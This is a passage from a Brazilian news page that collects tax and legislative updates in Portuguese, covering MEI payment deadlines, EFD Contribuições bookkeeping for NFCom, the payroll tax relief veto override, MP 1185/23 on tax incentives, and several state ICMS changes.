	Alteração do prazo para o pagamento do Documento de Arrecadação do eSocial &#8211; DAE do Microempreendedor Individual &#8211; MEI, do dia 7 (sete) para o dia 20 (vinte) do mês subsequente àquele em que os valores são devidos. Quando não houver expediente bancário no dia 20, o recolhimento deverá ocorrer até o dia útil imediatamente anterior.</p>
<p>
	Tal medida tem vigência a partir de 1º de abril de 2024 e é justificado pela entrada em vigor do novo Fundo de Garantia do Tempo de Serviço &#8211; FGTS digital.</p>
<p>
	Revogação do art. 97, que tratava da extinta Declaração Anual do Simples Nacional (DASN). Observação: Não confundir essa declaração com a Declaração Anual Simplificada para o MEI (DASN-Simei), que continua em vigor.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Portal Simples Nacional
                        </p>
</p></div>
<hr>
<h1>EFD Contribuições  Nota Fiscal Fatura de Serviços de Comunicação Eletrônica &#8211; NFCOM, MODELO 62.</h1>
<div class="itemContent">
<p>
	O ajuste SINIEF nº 7, de 7 de abril de 2022, instituiu a Nota Fiscal Fatura de Serviços de Comunicação Eletrônica &#8211; NFCom, modelo 62, e obriga a utilização pelos contribuintes do ICMS a partir 1º julho de 2024, em substituição aos seguintes documentos:</p>
<p>
	I &#8211; Nota Fiscal de Serviço de Comunicação, modelo 21; e</p>
<p>
	II &#8211; Nota Fiscal de Serviço de Telecomunicação, modelo 22.</p>
<p>
	Face a tal ajuste, a Receita Federal orienta aqueles contribuintes que anteciparem a emissão da NFCom para antes de 1º julho de 2024, que adotem o seguinte procedimento excepcional à escrituração do modelo 62, na EFD Contribuições, até que se publique nova versão do Programa Gerador de Escrituração – PGE:</p>
<p>
	Escrituração da prestação de serviço (Documento de Saída):</p>
<p>
	D600 &#8211; Consolidação da Prestação de Serviços &#8211; Notas de Serviço de Comunicação (Código 21) e de Serviço de Telecomunicação (Código 22)</p>
<p>
	Para os fatos geradores ocorridos até publicação de nova versão do Programa Gerador de Escrituração – PGE, da EFD Contribuições, a escrituração das receitas auferidas mediante a emissão de NFCom (modelo 62) se fará de forma consolidada no registro D600, informando no campo 02 (COD_MOD) o código “55”, mesmo se tratando de receita decorrente de emissão de NFCom.</p>
<p>
	Escrituração de aquisições de serviço (Documento de Entrada)</p>
<p>
	Registro D500 &#8211; Nota Fiscal de Serviço de Comunicação (Código 21) e Nota Fiscal de Serviço de Telecomunicação (Código 22).</p>
<p>
	Para os fatos geradores ocorridos até publicação de nova versão do Programa Gerador de Escrituração – PGE, da EFD Contribuições, a escrituração das aquisições de serviço de comunicação eletrônica auferidas mediante a emissão de NFCom se fará no registro D500, informando no campo 05 (COD_MOD) o código “55”, mesmo se tratando de aquisição decorrente de emissão de NFCom.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SPED
                        </p>
</p></div>
<hr>
<h1>Isenção para carro, bebida e perfume em áreas de livre comércio de Roraima avança </h1>
<div class="itemContent">
<p>
	A Comissão de Desenvolvimento Regional e Turismo (CDR) aprovou na terça-feira (12) projeto que isenta carros, perfumes e bebidas alcoólicas do pagamento dos Impostos de Importação e sobre Produtos Industrializados (IPI) nas áreas de livre comércio de Boa Vista e de Bonfim (RR). A medida também poderá beneficiar as áreas de livre comércio de Macapá e Santana (AP). Do senador Dr. Hiran (PP-RR), o PL 4.622/2023 foi relatado pelo senador Mecias de Jesus (Republicanos-RR) e segue para decisão final da Comissão de Assuntos Econômicos (CAE). </p>
<p>
	O projeto altera a Lei 8.256, de 1991, que instituiu essas áreas de livre comércio (ALCBv e ALCMS). Com a exclusão de impostos de automóveis de passageiros, bebidas alcoólicas e perfumes, apenas armas, munições e fumo e seus derivados seguirão sem isenção ao entrarem nessas áreas.</p>
<p>
	De acordo com o autor, o comércio de bebidas, perfumes e automóveis pode, de fato, ampliar as oportunidades de geração de emprego e renda nas áreas de livre comércio do estado, especialmente tendo em vista a distância que o separa do centro econômico do país e sua relativa proximidade da Venezuela e da Guiana.</p>
<p>
	—Nós temos áreas de tributação diferenciada tanto do lado da Venezuela quanto do lado da Guiana. As pessoas vão à área de livre comércio lá do Bonfim e compram uma série de produtos e mercadorias, mas quando querem comprar um perfume elas compram na Guiana ou vão para a Zona Franca de Manaus. A mesma coisa em relação a automóveis — disse  Dr. Hiran durante a reunião.</p>
<p>
	Mecias concordou com os argumentos de Dr. Hiran e acrescenta que o projeto favorece a preservação da Amazônia. Ele apresentou parecer favorável na CDR e afirmou que a medida também beneficiará a área de livre comércio de Macapá e Santana, porque as regras de criação dessa área estão vinculadas à Lei que beneficiou Boa Vista e de Bonfim.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Senado
                        </p>
</p></div>
<hr>
<h1>Transporte de combustível em tanque extra não terá adicional de periculosidade  </h1>
<div class="itemContent">
<p>
	Em sessão nesta quinta-feira (14), o Congresso Nacional rejeitou veto total ao Projeto de Lei 1.949/2021, que prevê exclusão do pagamento de adicional de periculosidade a motoristas de veículos com tanque suplementar de combustível (VET 34/2023). A matéria será encaminhada à promulgação.</p>
<p>
	De autoria da Câmara dos Deputados, o projeto recebeu parecer favorável do relator na Comissão de Serviços de Infraestrutura (CI), senador Carlos Viana (Podemos-MG). Em outubro, a matéria foi aprovada em Plenário e seguiu para sanção presidencial.</p>
<p>
	O projeto — que acresce dispositivo à Consolidação das Leis do Trabalho (CLT — Decreto-Lei 5.452, de 1943) — exclui do pagamento de adicional de periculosidade feito a motoristas o transporte de combustível, em tanques originais de fábrica e suplementares, para uso do próprio veículo de carga, de transporte coletivo de passageiros, de máquinas e de equipamentos.</p>
<p>
	Ao vetar o projeto, o Executivo alegou que a proposição legislativa contraria o interesse público, pois estabeleceria, em lei, hipóteses de descaracterização de periculosidade das atividades e operações sem indicar, de maneira objetiva, critérios e parâmetros para as quantidades de inflamáveis líquidos ou gasosos liquefeitos que possam ser transportadas de forma a garantir a proteção e a segurança dos trabalhadores do setor de transporte de cargas e de passageiros, em desacordo com o disposto na legislação trabalhista.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Senado
                        </p>
</p></div>
<hr>
<h1>Vai à CAE fim de ICMS em bandeiras tarifárias de energia</h1>
<div class="itemContent">
<p>
	A Comissão de Infraestrutura (CI) aprovou na terça-feira (12) projeto que retira a cobrança do ICMS sobre adicionais na conta de energia elétrica quando há bandeira tarifária. O Projeto de Lei Complementar (PLP) 111/2022, do deputado federal Fabio Garcia Câmara, recebeu parecer favorável do relator, senador Eduardo Braga (MDB-AM), com uma emenda de redação. Agora, o texto será analisado pela Comissão de Assuntos Econômicos (CAE).</p>
<p>
	Segundo Braga, as bandeiras tarifárias cobram um valor adicional do consumidor de energia elétrica em razão de situações que dificultam a normalidade do serviço, como chuvas baixas ou deficiência nas obras do setor. Na avaliação do senador, não é justo cobrar imposto nessas situações:</p>
<p>
	— Estamos tributando a falta de planejamento, a escassez de chuvas e o atraso de obras. E, com isso, oneramos milhares de famílias brasileiras que não deram causa a esses fatos (&#8230;) Cumpre esclarecer que o projeto não interfere na arrecadação planejada de tributos do governo federal e dos governos estaduais e municipais, já que estes continuarão cobrando seus tributos sobre a tarifa regular de energia.</p>
<p>
	Bandeiras</p>
<p>
	Atualmente, três bandeiras tarifárias determinam a cobrança dessas taxas. A primeira, de cor verde, sinaliza condições de produção elétrica favoráveis, ou seja, sem cobrança extra.</p>
<p>
	Já as outras duas bandeiras, amarela e vermelha, são fixadas em situações de escassez nas hidrelétricas e determinam aumento do valor cobrado. Nesse cenário, as termelétricas são ativadas. A operação delas é mais cara e, por isso, os custos não são cobertos pelas tarifas regulares estabelecidas pela Agência Nacional de Energia Elétrica (Aneel). Nestes casos, o custo é repassado aos contribuintes.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Senado
                        </p>
</p></div>
<hr>
<h1>Congresso derruba veto à desoneração da folha de pagamento para 17 setores da economia </h1>
<div class="itemContent">
<p>
	O Congresso Nacional rejeitou o veto do presidente da República, Luiz Inácio Lula da Silva, ao projeto de lei que prorroga a desoneração da folha de pagamento para 17 setores da economia. O texto, que havia sido vetado integralmente, será  agora promulgado como lei.</p>
<p>
	O benefício acabaria em 31 de dezembro de 2023 e será prorrogado até 31 de dezembro de 2027, como previa o Projeto de Lei 334/23. A renúncia com a desoneração no setor privado é estimada pelo Ministério da Fazenda em cerca de R$ 9,4 bilhões.</p>
<p>
	Com a desoneração, as empresas beneficiadas podem optar pelo pagamento das contribuições sociais sobre a receita bruta com alíquotas de 1% a 4,5% em vez de pagar 20% de INSS relativo aos empregados pela Consolidação das Leis do Trabalho (CLT).</p>
<p>
	No Senado Federal, foram 60 votos pela rejeição do veto e 13 a favor. Na Câmara dos Deputados, houve 78 votos a favor do veto e 378 por sua rejeição.</p>
<p>
	Municípios<br />
	Outro ponto do projeto da desoneração que vai virar lei diminui, reduz de 20% para 8% a alíquota da contribuição previdenciária sobre a folha dos municípios com população de até 142.632 habitantes.</p>
<p>
	A medida beneficia 5.300 municípios, de acordo com a Confederação Nacional dos Municípios.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Câmara dos Deputados
                        </p>
</p></div>
<hr>
<h1>Comissão mista aprova relatório da MP que altera a tributação de incentivos fiscais</h1>
<div class="itemContent">
<p>
	A comissão mista da medida provisória que regulamenta a isenção tributária para a subvenção de investimentos (MP 1185/23) aprovou nesta quinta-feira (14) o relatório do deputado Luiz Fernando Faria (PSD-MG). Ele foi favorável à iniciativa, que tem o potencial de aumentar em R$ 35 bilhões a arrecadação do governo em 2024.</p>
<p>
	A MP permite a tributação, com impostos federais, das subvenções do ICMS concedidas pelos estados às empresas. Pela proposta, os créditos apurados a partir de subvenções para estímulo à implantação ou expansão de empresas poderão ser isentos de tributação. Os demais deverão ser incluídos na base de cálculo do Imposto de Renda da Pessoa Jurídica (IRPJ) e da Contribuição Social sobre o Lucro Líquido (CSLL).</p>
<p>
	O parecer do deputado mantém grande parte da versão original, mas estende os benefícios da medida provisória para investimentos no comércio, dentre outras mudanças. Após o aval do colegiado, a proposta seguirá para análise do Plenário da Câmara.</p>
<p>
	Antes da votação, alguns parlamentares pediram a suspensão da reunião com a justificativa de que uma sessão do Congresso ocorria em simultâneo à do colegiado, o que, segundo eles, estava em desacordo com o regimento da Casa. No entanto, consultado pelo presidente do colegiado, senador Rogério Carvalho, o presidente de Congresso, Rodrigo Pacheco, decidiu pela continuidade da reunião, como ocorre nas deliberações da Comissão Mista de Orçamento.</p>
<p>
	Considerado um dos pontos mais polêmicos do relatório, a retroatividade da cobrança do imposto devido pelas empresas foi mantida pelo relator, ainda que seja previsto na MP um desconto para as empresas que aderirem a autorregularização.</p>
<p>
	Para o deputado Joaquim Passarinho (PL-PA), esse trecho do texto pode aumentar a judicialização. “Acho que o governo pensando em arrecadar coloca essa retroatividade, mas a discussão não é sobre se o abatimento é de 80%, 60% ou 40%, a discussão é sobre se isso é devido ou não. Na nossa opinião, as empresas não devem e para reconhecer o abatimento você teria de reconhecer a dívida”, argumentou o parlamentar.</p>
<p>
	Renúncia fiscal<br />
	Por sua vez, o deputado Merlong Solano (PT-PI) disse que a medida promove revisão das renúncias tributárias que, segundo ele, permite a &#8220;poucas empresas se livrarem das obrigações cidadãs de pagar tributo&#8221;.</p>
<p>
	&#8220;Esta correção é uma  exigência da Constituição Federal que, por meio da Emenda Constitucional 109, determina a progressiva redução dos incentivos fiscais estabelecendo que até 2028 nós cheguemos a no máximo a 2% do PIB em renúncia, o que atualmente gira em torno de 4,5% do PIB&#8221;, defendeu o deputado.</p>
<p>
	Contrário à medida, o deputado Luiz Carlos Hauly (Podemos-PR), reforçou que a MP vai gerar judicialização, uma vez que, conforme ele, a regra de tributação de incentivos fiscais que se pretende alterar é de competência dos estados. &#8220;A renúncia fiscal é dos estados, não há nenhuma renúncia fiscal até aqui do governo federal, o que existe é uma vontade do governo federal antiga de querer tributar algo que não é tributável&#8221;, disse.</p>
<p>
	Veja a seguir as principais medidas do projeto de lei de conversão:</p>
<p>
	&#8211; Fixação de prazo de até 30 dias para deliberação sobre a habilitação da empresa perante a Receita Federal, considerando-se deferido o pedido após esse prazo sem que a administração tributária se manifeste. “Na MP original, não se definia este prazo. O empresário aderia e não tinha um prazo para a Receita dizer se estava apto ou não”, explicou Luiz Fernando Faria.</p>
<p>
	&#8211; Exclusão da data de 31 de dezembro de 2028 como limite para a apuração do crédito fiscal pretendido, visto que a proposta pretende alterar a forma de tributação das subvenções para investimento, ao optar pela concessão de crédito fiscal em substituição à dedução da base de cálculo de tributos federais, não havendo razão para que essa nova sistemática possua vigência temporária.</p>
<p>
	&#8211; Exclusão da exigência de que a apuração do crédito fiscal só poderá ser realizada após a conclusão da implantação ou expansão do empreendimento econômico, pois esse requisito adiaria de forma considerável o aproveitamento do benefício pelas empresas, com repercussões relevantes sobre seu fluxo de caixa. “A empresa antes tinha que terminar um empreendimento para obter o crédito. Agora o crédito pode ser obtido ao mesmo passo do empreendimento”, comentou o relator.</p>
<p>
	&#8211; Inclusão das receitas de subvenção de investimento relacionadas às despesas de locação e arrendamento de bens de capital entre aquelas que poderão ser computadas na apuração do crédito fiscal, uma vez que o benefício pretendido pela Medida Provisória deve ser neutro em relação às decisões operacionais das empresas, quer optem pela aquisição ou pela locação de ativos. “Quem fizer o empreendimento poderá locar o espaço em que o empreendimento será instalado”, afirmou.</p>
<p>
	&#8211; Simplificação do processo de aproveitamento do crédito fiscal, ao determinar que o pedido de ressarcimento e a declaração de compensação serão recepcionados após o reconhecimento das receitas de subvenção para fins de tributação — não mais a partir do ano-calendário seguinte. “Na MP original, esperava-se o empreendimento acabar e a compensação era no ano seguinte. Agora não, pode ser compensado no próprio ano”, disse o deputado.</p>
<p>
	&#8211; Redução do prazo de ressarcimento do crédito fiscal não compensado, de 48 para 24 meses.</p>
<p>
	&#8211; Inclusão da possibilidade de transação tributária para débitos tributários relativos às subvenções atualmente concedidas, para prevenção e redução do litígio sobre o tema e à transição para o novo tratamento tributário para essas subvenções;</p>
<p>
	&#8211; Esclarecimento de que a proposição não impedirá a fruição de incentivos fiscais federais concedidos por lei específica, especialmente os relativos às empresas instaladas nas regiões da Sudam e Sudene. “Deputados e senadores estavam preocupados que a MP não esclarecia que os benefícios da Sudene e da Sudam estavam preservados”, comentou Luiz Fernando Faria.</p>
<p>
	&#8211; Alteração de regras que disciplinam a apuração de juros sobre capital próprio, para aprimorar o tratamento dado a transações entre partes relacionadas. “A versão original era muito mais dura e conseguimos afrouxar. O novo texto foi bem aceito por todos os segmentos  econômicos, financeiros e empresariais”, destacou o relator.</p>
<p>
	&#8211; Adequação do tratamento tributário dado ao transporte regular rodoviário de passageiros para aproximá-lo do tratamento tributário dado pela legislação atual ao transporte aéreo regular de passageiros.</p>
<p>
	&#8211; Ajustes na legislação relativa à tributação das pessoas físicas residentes no País em relação aos lucros de entidades controladas no exterior; à tributação do reinvestimento realizado por Fundos de Investimento em Participação (FIPs); e à regra para desenquadramento da carteira de fundos de investimentos.</p>
<p>
	&#8211; Revogação de dispositivo que determina, para fins de apuração do lucro da exploração, a exclusão das subvenções para investimento, inclusive mediante isenção e redução de impostos, concedidas como estímulo à implantação ou expansão de empreendimentos econômicos, e as doações, feitas pelo poder público.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Câmara dos Deputados
                        </p>
</p></div>
<hr>
<h1>Câmara aprova medida provisória da tributação dos incentivos fiscais  </h1>
<div class="itemContent">
<p>
	A Câmara dos Deputados aprovou nesta sexta-feira (15) a Medida Provisória 1185/23, que muda a forma pela qual as empresas tratarão recursos de subvenções concedidas pelos entes federativos quando de sua contabilização para diminuir o pagamento de tributos federais. A matéria será enviada ao Senado.</p>
<p>
	A intenção do governo é acabar com a isenção de incidência de tributos federais sobre subvenções destinadas a custeio, mantendo apenas a possibilidade de apuração de um crédito fiscal relativo a subvenções para investimento. As novas normas terão efeito apenas a partir de 1º de janeiro de 2024.</p>
<p>
	A matéria foi aprovado na forma do substitutivo do relator, deputado Luiz Fernando Faria (PSD-MG), que amplia descontos para as empresas pagarem o passivo em razão de contenciosos envolvendo o assunto, para o qual existe decisão do Superior Tribunal de Justiça (STJ) que vincula a dedução a casos previstos na Lei Complementar 160/17 e na Lei 12.973/14, situações modificadas pela MP.</p>
<p>
	O relator também inclui restrições para o pagamento aos acionistas de juros sobre capital próprio, um mecanismo criado na década de 90 que pretendia estimular os investimentos por meio de aporte de capital, mas tem sido usado pelas empresas para pagar menos tributo sem esse objetivo de investir.</p>
<p>
	Como consequência das mudanças pretendidas pela MP, haverá novamente a diferenciação entre subvenção para custeio e para investimentos, limitando o crédito fiscal apenas a essa última. A regra havia mudado com a lei complementar, mas divergências de interpretação judicializaram o tema.</p>
<p>
	Assim, as subvenções concedidas pela União, por estados ou municípios, como aquelas em relação ao ICMS, deverão entrar na base de cálculo de tributos como o Imposto sobre a Renda da Pessoa Jurídica (IRPJ), a Contribuição Social sobre o Lucro Líquido (CSLL), o PIS e a Cofins.</p>
<p>
	Na nova sistemática, quando se tratar de uma subvenção para investimentos, a empresa poderá apurar um crédito fiscal a ser usado para compensar tributos federais ou para pedir ressarcimento em dinheiro.</p>
<p>
	A sistemática atual beneficia grandes companhias que pagam o imposto com base no lucro real, concentrando 95% do benefício em apenas 393 empresas, que pagam menos impostos tanto para os estados quanto para o governo federal.</p>
<p>
	Dados do Ministério da Fazenda indicam impacto acumulado projetado de R$ 250 bilhões em 2024, dos quais R$ 35 bi somente no próximo ano.</p>
<p>
	Contrapartida<br />
	Para controlar o tipo de investimento, a MP determina o cumprimento de requisitos de habilitação: ato de concessão do benefício editado anteriormente à data de implantação ou expansão do empreendimento; e ato que estabeleça, expressamente, condições e contrapartidas relativas ao empreendimento.</p>
<p>
	Segundo o parecer, não apenas a produção de bens e serviços serão beneficiados, mas também o comércio deles, aplicando-se a empreendimento novo no território ofertante da subvenção ou a expansão de um já existente.</p>
<p>
	A habilitação será indeferida pela Receita Federal se a empresa não atender aos requisitos ou cancelada se deixar de atendê-los. Por outro lado, se não houver resposta sobre a habilitação em 30 dias, o pedido será considerado aprovado.</p>
<p>
	Sudam e Sudene<br />
	No entanto, o texto deixa explícito que a mudança não impede o uso de incentivos fiscais concedidos por lei específica relativos a tributos federais, como os de projetos de desenvolvimento regional nas áreas da Superintendência de Desenvolvimento da Amazônia (Sudam) e da Superintendência de Desenvolvimento do Nordeste (Sudene) ou aqueles ligados à Zona Franca de Manaus (ZFM).</p>
<p>
	Crédito fiscal<br />
	Para apurar o crédito fiscal, calculado com a aplicação da alíquota de 25% relativa ao IRPJ sobre as receitas de subvenção, a empresa deverá seguir algumas restrições.</p>
<p>
	As receitas deverão estar relacionadas à implantação ou à expansão do empreendimento econômico e ser reconhecidas após a conclusão da implantação ou expansão do negócio e depois do pedido de habilitação para obter o crédito fiscal.</p>
<p>
	Entretanto, não poderão entrar as receitas:</p>
<p>
	&#8211; que superem a subvenção obtida;</p>
<p>
	&#8211; de incentivos do IRPJ; e</p>
<p>
	&#8211; o próprio crédito fiscal calculado;</p>
<p>
	Compensação<br />
	Quando quiser compensar o crédito assim obtido com impostos a pagar junto à Receita Federal, a empresa deverá entrar com um pedido de compensação ou ressarcimento após o reconhecimento das receitas da subvenção.</p>
<p>
	No caso de ressarcimento, a Receita deverá realizá-lo no 24º mês do pedido. Já o valor do crédito fiscal não será computado na base de cálculo do IRPJ, da CSLL, do PIS e da Cofins.</p>
<p>
	Reserva de lucros<br />
	Na sistemática vigente, as empresas podem registrar os valores da subvenção obtida em uma reserva de lucros especial chamada de reserva de incentivos fiscais, que pode ser utilizada para aumentar o capital social da empresa ou absorver prejuízos.</p>
<p>
	Com a MP, esse estoque de valores da reserva passará a ser tributado se a empresa aumentar o capital social e posteriormente reduzi-lo com restituição de capital aos sócios. Outro caso de tributação será a redução artificial do capital social nos cinco anos anteriores à data de recebimento da subvenção, com posterior capitalização com o valor da subvenção recebida.</p>
<p>
	Lucro da exploração<br />
	Para determinadas atividades empresariais incentivadas pela legislação (Decreto-lei 1.598/77), o texto acaba com a permissão para excluir da base de cálculo do IRPJ as subvenções para investimento, inclusive por meio de isenção e redução de impostos, concedidas como estímulo à implantação ou expansão de empreendimentos econômicos.</p>
<p>
	Passivo acumulado<br />
	O texto de Luiz Fernando Faria traz ainda regras para a regularização de passivos relacionados ao assunto, seja no âmbito administrativo ou judicial.</p>
<p>
	Se o contribuinte aderir à transação tributária especial proposta pelo Ministério da Fazenda, estará reconhecendo as normas da futura lei, especialmente quanto às condições para habilitação e aos limites de aproveitamento do crédito fiscal, sob pena de rescisão da transação. Nesse caso, os débitos voltariam para a esfera de questionamento (administrativa ou judicial).</p>
<p>
	No caso de créditos inscritos em dívida ativa ou objeto de ação judicial, de recurso administrativo ou de embargos à execução fiscal, a transação contemplará os processos pendentes de julgamento definitivo até o dia 31 de maio de 2024.</p>
<p>
	Quem aderir e decidir pagar em dinheiro com maior desconto (80 % sobre a dívida consolidada), poderá fazê-lo em 12 parcelas mensais.</p>
<p>
	Um parcelamento mais longo será possível com pagamento de 5% do consolidado, sem reduções e em cinco vezes mensais, e o restante dividido em até 60 parcelas mensais, com redução de 50% do valor remanescente da dívida.</p>
<p>
	Caso opte por parcelar o valor remanescente em até 84 parcelas mensais, a redução do valor remanescente será de 35%.</p>
<p>
	Débitos não lançados<br />
	Para os débitos tributários apurados e ainda não lançados, a MP permite o uso da autorregularização pelo contribuinte antes do lançamento de ofício pela Receita.</p>
<p>
	As condições de descontos e prazos são as mesmas para a dívida em contestação e a autorregularização implica confissão irrevogável e irretratável dos débitos indicados.</p>
<p>
	O não pagamento por meio da autorregularização ou o inadimplemento de qualquer das parcelas previstas resultará na cobrança do crédito tributário pelo seu valor originário acrescido dos acréscimos legais, abatidos eventuais pagamentos realizados.</p>
<p>
	Juros sobre capital<br />
	Os juros sobre capital próprio (JCP) são uma forma de distribuição de lucro bastante comum entre algumas empresas de capital aberto, pois a legislação permite considerá-los como despesa dedutível da base de cálculo do IRPJ, diminuindo o valor a pagar ao Fisco.</p>
<p>
	Por meio do Projeto de Lei 4258/23, o governo pretendia acabar com seu uso. Um meio termo proposto pelo relator em seu parecer para a MP 1185/23 prevê a restrição dos mecanismos a serem usados para o pagamento dos JCP.</p>
<p>
	Com vigência a partir de 1º de janeiro de 2024, o cálculo desses juros poderá ser feito apenas sobre o capital social integralizado, ou seja, efetivamente aportado na empresa.</p>
<p>
	Quanto às reservas de capital, que são uma espécie de “poupança” mantida pela empresa para uso em situações de emergência, somente poderão ser usadas para calcular os JCP aquelas reservas constituídas pelo ágio entre o preço de emissão das ações e o valor nominal ou aquelas formadas na constituição da companhia se o valor nominal não for fixado.</p>
<p>
	Aumento de patrimônio líquido que não envolva o ingresso efetivo de recursos na pessoa jurídica por meio de atos societários entre partes dependentes também não poderá ser computado na distribuição de juros sobre capital.</p>
<p>
	De igual forma, não poderão entrar na base de cálculo desses juros as reservas de capital formadas com lucro líquido decorrente de doações ou subvenções governamentais para investimentos.</p>
<p>
	Transporte de passageiros<br />
	Tema novo incluído pelo relator no texto da MP é a concessão de crédito presumido de PIS/Cofins para empresas de transporte rodoviário intermunicipal e interestadual de passageiros, exceto o metropolitano.</p>
<p>
	O benefício valerá de 1º de janeiro de 2024 a 31 de dezembro de 2026 e corresponderá a um percentual do valor obtido com a aplicação das alíquotas desses tributos sobre a receita com o serviço:</p>
<p>
	&#8211; 66,67% do apurado entre 1º de janeiro e 31 de dezembro de 2024; e</p>
<p>
	&#8211; 50% de 1º de janeiro de 2025 a 31 de dezembro de 2026</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                Agência Câmara dos Deputados
                        </p>
</p></div>
<hr>
<h1>ICMS/SC: Nova Lei do ICMS do querosene deve ampliar oferta de voos em SC</h1>
<div class="itemContent">
<p>
	A nova lei que reduz a alíquota de ICMS do querosene de aviação deve ampliar a oferta de voos dentro do estado de Santa Catarina. O texto, proposto pelo governador Jorginho Mello, foi aprovado nesta quarta-feira, 13/12, pela Assembleia Legislativa. Pela proposta a tributação poderá variar dos atuais 17% até 1,5% conforme tabela criada com base em alguns critérios e metas atingidas pelas companhias aéreas.</p>
<p>
	A discussão sobre uma nova alíquota de ICMS sobre o querosene de aviação envolveu as secretarias estaduais de Portos, Aeroportos e Ferrovias (SPAF), da Fazenda, e a Bancada do Oeste. O objetivo principal é tornar o estado de Santa Catarina mais atrativo para a ampliação de voos entre os seus aeroportos e oferecer condições para que as empresas aéreas incluam o estado no aumento da malha aérea.</p>
<p>
	“É mais uma nova prova da nossa acertada decisão de criar a secretaria de Portos, Aeroportos e Ferrovias. É um setor que precisava de um olhar dedicado para fazer boas ideias virarem realidade”, disse o governador Jorginho Mello.</p>
<p>
	“Mantivemos contatos com as empresas aéreas para entender as necessidades do mercado e para cumprir uma determinação do governador Jorginho Mello que é a de ampliar a oferta de voos regionais no estado. Sabemos que o combustível representa 40% do custo das companhias e junto com a secretaria da Fazenda e os parlamentares construímos uma proposta que tornará o estado mais atraente para estas operações”, afirma o secretário de Portos, Aeroportos e Ferrovias, Beto Martins.</p>
<p>
	O secretário da Fazenda, Cleverson Siewert explica que o investimento em infraestrutura e mobilidade, com a participação ainda mais efetiva da aviação, é fundamental para incentivar o desenvolvimento econômico de Santa Catarina.</p>
<p>
	“Este projeto é resultado da construção conjunta do Governo do Estado com o Poder Legislativo. Consideramos estudos técnicos, financeiros e aspectos jurídicos para garantir a melhor redação possível e atender as demandas. Com a aprovação do projeto e o incentivo à aviação regional, vamos dar mais um passo para ampliar a oferta aeroviária em SC”, diz o secretário.</p>
<p>
	Pela proposta aprovada na Alesc a tributação de 1,5% será possível para empresas que tiverem operações em oito aeroportos, com oferta de quatro voos internacionais e 50 voos nacionais semanais e dois voos entre aeroportos localizados no estado. A redução varia conforme outras condições apresentadas na legislação, sempre baseada no número de aeroportos atendidos, voos e destinos internos entre cidades de Santa Catarina.</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/SC
                        </p>
</p></div>
<hr>
<h1>ICMS/PI: A versão 3.00 do CT-e será extinta e perderá vigência em 31 de Janeiro de 2024</h1>
<div class="itemContent">
<p>
	A Coordenação Técnica do Encontro Nacional de Coordenadores e Administradores Tributários (ENCAT) alerta todos Transportadores e Embarcadores que a versão 3.00 do Conhecimento de Transporte Eletrônico (CT-e) será extinta e perderá vigência na data de 31 de Janeiro de 2024, em caráter IRREVOGÁVEL, devendo os sistemas de emissão de CT-e e os sistemas dos embarcadores estarem migrados para a versão 4.00, preferencialmente até dia 15 de dezembro de 2023, visando evitar dificuldades de última hora.</p>
<p>
	A versão 4.00 traz inúmeros benefícios operacionais para o sistema de emissão de CT-e, com novas funcionalidades e simplificação para os transportadores. Para os sistemas de embarcadores, a integração com a versão 4.00 não traz nenhuma dificuldade, considerando o layout do documento fiscal e seus campos.</p>
<p>
	Para melhores informações, acesse https://www.cte.fazenda.gov.br/portal/principal.aspx</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/PI
                        </p>
</p></div>
<hr>
<h1>ICMS/CE: Novos Códigos de Ajuste para Crédito Presumido e Outorgado</h1>
<div class="itemContent">
<p>
	A Secretaria da Fazenda do Estado do Ceará (Sefaz-CE) informa que foi publicada a Instrução Normativa nº 135/2023, que altera a Instrução Normativa nº 64/2018 e cria códigos de ajuste específicos para escrituração dos créditos presumidos e outorgados do ICMS.</p>
<p>
	Os contribuintes que possuem algum desses benefícios passam a ser obrigados a utilizar, a partir de 1º de janeiro de 2024, o código de ajuste específico adequado à sua situação, sendo vedado o uso de códigos genéricos como: Crédito Presumido ou Crédito Outros.</p>
<p>
	Os códigos de ajuste específicos de crédito presumido e outorgado estão disponíveis no Anexo Único da Instrução Normativa nº 64/2018, conforme link para consulta a seguir:</p>
<p>
	https://sefazlegis.sefaz.ce.gov.br/api/openFile?id=359a3120-1acb-4dd3-858e-da55f824ffd9</p>
<p>
	Em caso de dúvidas sobre a utilização dos códigos de ajuste, os contribuintes devem entrar em contato com a Célula de Documentos Fiscais (Cedot) pelo e-mail sped@sefaz.ce.gov.br.</p>
<p>	 </p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                SEFAZ/CE
                        </p>
</p></div>
<hr>
<h1>ICMS/BA: Dispensa de obrigações Acessórias &#8211; DMA Bahia</h1>
<div class="itemContent">
<p>
	O governador do estado da Bahia através do Decreto nº 22.453 de 14 de Dezembro de 2023(DOE 15.12.2023), dispensou a partir de 01.01.2024, a entrega das espécies de Declarações Econômico-Fiscais indicadas a seguir:</p>
<p>
	 &#8211; Declaração e Apuração Mensal do ICMS (DMA);<br />
	 &#8211; Cédula Suplementar da Declaração e Apuração Mensal do ICMS (CS-DMA);<br />
	 &#8211; Declaração da Movimentação de Produtos com ICMS Diferido (DM</p>
<p class="fonte_noticia">
                            Fonte: </p>
<p>                                LegisWeb Consultoria
                        </p>
</p></div>
